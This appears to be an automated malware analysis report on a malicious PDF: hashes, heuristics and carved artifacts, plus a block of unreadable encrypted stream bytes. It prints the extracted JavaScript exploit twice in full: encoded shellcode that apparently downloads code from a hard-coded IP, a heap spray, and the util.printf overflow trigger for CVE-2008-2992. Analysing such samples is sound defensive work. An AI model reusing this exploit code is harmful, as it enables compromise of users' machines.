Malicious PDF — malware analysis report

Static analysis result for SHA-256 de15ce47a828d888…

MALICIOUS

PDF

3.0 KB First seen: 2015-09-29
MD5: 91600cb488a974218876b8458af2949d SHA-1: b93be0af92d9c1d32057c52a9483df20110fca4b SHA-256: de15ce47a828d888307117f6e81431f3c542a47251108f800a1ec0fc866b2fcf
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file is encrypted and contains an /OpenAction, indicating that JavaScript is used to execute code upon opening. The embedded JavaScript stream is likely responsible for decrypting and executing the main payload, which is hidden from static analysis. This technique is commonly used to deliver exploits or download further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (matched in decompressed stream)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Encrypted PDF carries /OpenAction — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/OpenAction). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0002_000.js pdf-javascript-stream PDF /JS object 2 at offset 0x62 1881 bytes
SHA-256: 391233a21dae23150bf743ab770f21bf8a92f130f1c372b185163c889bf6b3be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pppp = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u4beb%u315b%u51c9%u6a51%u5103%u6851%u216b%u0000%u5053%u5768%u9f89%uffc6%uebd5%u5934%ud231%u6852%u0200%u8420%u5252%u5152%u5052%ueb68%u2e55%uff3b%u89d5%u6ac6%u5b10%uff31%u5757%u5757%u6856%u062d%u7b18%ud5ff%uc085%u1a75%u744b%ueb10%uebe9%ue849%uffc7%uffff%u492f%u494e%u4d54%u6800%ub5f0%u56a2%ud5ff%u406a%u0068%u0010%u6800%u0000%u0040%u6857%ua458%ue553%ud5ff%u5393%u8953%u57e7%u0068%u0020%u5300%u6856%u9612%ue289%ud5ff%uc085%ucd74%u078b%uc301%uc085%ue575%uc358%u65e8%uffff%u31ff%u3239%u312e%u3836%u312e%u322e%u3031%u4100");
var nnn ="";
for (iCnt=128;iCnt>=0;--iCnt) nnn += unescape("%u9090%u9090%u9090%u9090%u9090");
heapbbbb = nnn + pppp;
bigbbbb = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapbbbb.length
while (bigbbbb.length<spray) bigbbbb+=bigbbbb;
fillbbbb = bigbbbb.substring(0, spray);
bbbb = bigbbbb.substring(0, bigbbbb.length-spray);
while(bbbb.length+spray < 0x40000) bbbb = bbbb+bbbb+fillbbbb;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = bbbb + heapbbbb;
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
javascript_obj0002_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 2 at offset 0x62 350 bytes
SHA-256: d04efe0ec8bc5332c0c93eb64376d0007210bb84e8da59a16f963f1c4e3e1e5e
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 2 at offset 0x62 1879 bytes
SHA-256: f25269ffef6d248db8a08fd16c0db5d4e454d1403173855a84ddba69ebddac3e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var pppp = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff%u4beb%u315b%u51c9%u6a51%u5103%u6851%u216b%u0000%u5053%u5768%u9f89%uffc6%uebd5%u5934%ud231%u6852%u0200%u8420%u5252%u5152%u5052%ueb68%u2e55%uff3b%u89d5%u6ac6%u5b10%uff31%u5757%u5757%u6856%u062d%u7b18%ud5ff%uc085%u1a75%u744b%ueb10%uebe9%ue849%uffc7%uffff%u492f%u494e%u4d54%u6800%ub5f0%u56a2%ud5ff%u406a%u0068%u0010%u6800%u0000%u0040%u6857%ua458%ue553%ud5ff%u5393%u8953%u57e7%u0068%u0020%u5300%u6856%u9612%ue289%ud5ff%uc085%ucd74%u078b%uc301%uc085%ue575%uc358%u65e8%uffff%u31ff%u3239%u312e%u3836%u312e%u322e%u3031%u4100");
var nnn ="";
for (iCnt=128;iCnt>=0;--iCnt) nnn += unescape("%u9090%u9090%u9090%u9090%u9090");
heapbbbb = nnn + pppp;
bigbbbb = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapbbbb.length
while (bigbbbb.length<spray) bigbbbb+=bigbbbb;
fillbbbb = bigbbbb.substring(0, spray);
bbbb = bigbbbb.substring(0, bigbbbb.length-spray);
while(bbbb.length+spray < 0x40000) bbbb = bbbb+bbbb+fillbbbb;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = bbbb + heapbbbb;
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("E000f",num);
javascript_obj0003_000.js pdf-javascript-stream PDF /JS object 3 at offset 0x242 1881 bytes
SHA-256: 0c83990f7f34e9f30186d73dafe4aeece7ca26bc62595d66f01672d5a20ba36c
Preview script
First 1,000 lines of the extracted script
^�RT֐;�׏ �F��q=V�4M�얼�#��q������} �	��4t��P ( Sz:� �=e�  � jn �yl~#���5��c9 { P����/x��K� ��$��# �����!t������ ���n�%�`XP���_  94�D� ��  ��Wa�3�>�O�;�* * � �E�4�5D �'�&��)�\l �&[� �`+s�u5G{�V�qjk�� �� � ?���� � 
U ���� �ki����{%<�oe�Fu4��X�g�p	Ԧ6��5�. q� m�' ȫ ���4ِ.� k�� x*� &� nj ؛}K��8��"5H� �[ ȜJ� ?qbC)�q9��ڽq8[�� �ru]��7��i�S� E
ߓb�\1� �L u�A ������PW[ sj6 �
K�a��_ ֊J��  ���o���=�AN]  �go b	rA�&|V@?&O�Ѥ��+@*�~���� �� ���p�fƢ��AH�*�� 8�� ,  1&��q"P�V
8�O .]�]� ) c/��@h�����ꤲɂ ]��5 ��bV_Ro� >k 1� {*�
jQ�s� ��梖{�%��H�pZ�Y8Ԣ
�j3_k���%zx���N�:E}� �݆ ��K  ju�� ������ p A��@�=�Y �
 6_�o�a��,�6�tX�� �
�fn0�dJ{��)j9�J �`Z���C�L� ~V�D\�!���H;䚙� O �[GVqͤ�  p�k֔f7������5��d�I̛ ȧ��U�d�@�k���c �Q�Rb�ƟL�t� �̼J`[��Sh
~,��CBނ�H��Y^�Wp ����Z"�r��D8��� �¥� � dp�%D}L�D�]���B�ܙ������FK2F\C@R� �)�S0jVz �b����
E�  �P�� � �� a k�m2� 7��q�����\��ʨ���F��8 k צ*`uy��>&������k/��O�C�Y����'�  Lci} \	�V�� ��@�X�/A (��ʮ6k=8 3���������ړ��b� � c� ��wߋy D&�� �Y�j S9oN�	f��HԮ����!I���s2�)!G��t� � ��/~�杕� ��[��SM�* ���� 1�9/ ��Gl}V �I��̃l h ��Y ɖ  L� �
��E���ĒsiF[��W���@�^8ԛ �6��� �$S��J*�Wp����� �e
���Vo M�q�� � � �.Y �� �ov]�7� L-D]�:E��8�2�˚!�D� �O����s� �ƽģ: ��+#� ��� ��!mR�\� � ��� �n�?� �g3��ݍ�X�<H�R �� �^��D �0@0 �rhŊ��˶���`��N�v��l{3�d,�S ����C}�WE
K���E��s� ^�*y��� } Zl&4 F �̓�H�*�&X�� S�g?  �� � 	 '0�  0 �1�GJ-\�} lM�s� ���4� e�S�L#k#x>S&�<hV�ذ �ː��A���f ��r �>c���i��آ�)���d}�/w�ZG" �[���i�� 0�$�G� �IjW�٦��Pr`�  IZ ���� �S�2 ��T��$ ��P�
�:^� wl�e1��$�ՄTI  �E� �  )���?� �ʎ���� #b n��������.�GB\�ֿ �w�{6� ����]��� ���0Ehj7�+ �V+���pN|������:��Vc�I��դ�������i�� ��󷧫��1�!3 .TSY�� � � ��{S����Ar�+#,A�^�|���� 5�腤!Ã
  e��\,  )����f��jJ���VL
 ﲓ���C���_�d��=1 1�o  4 ��ǁ��l��Sv�pi@���>��6 x`X� 2� ��1�|����@ ,� 7 �)�ٴq� ~a 5 ���]r��Ulv��f��O����{]3x V�q�T69 �  m���bL�+�4m��9 �}0s��p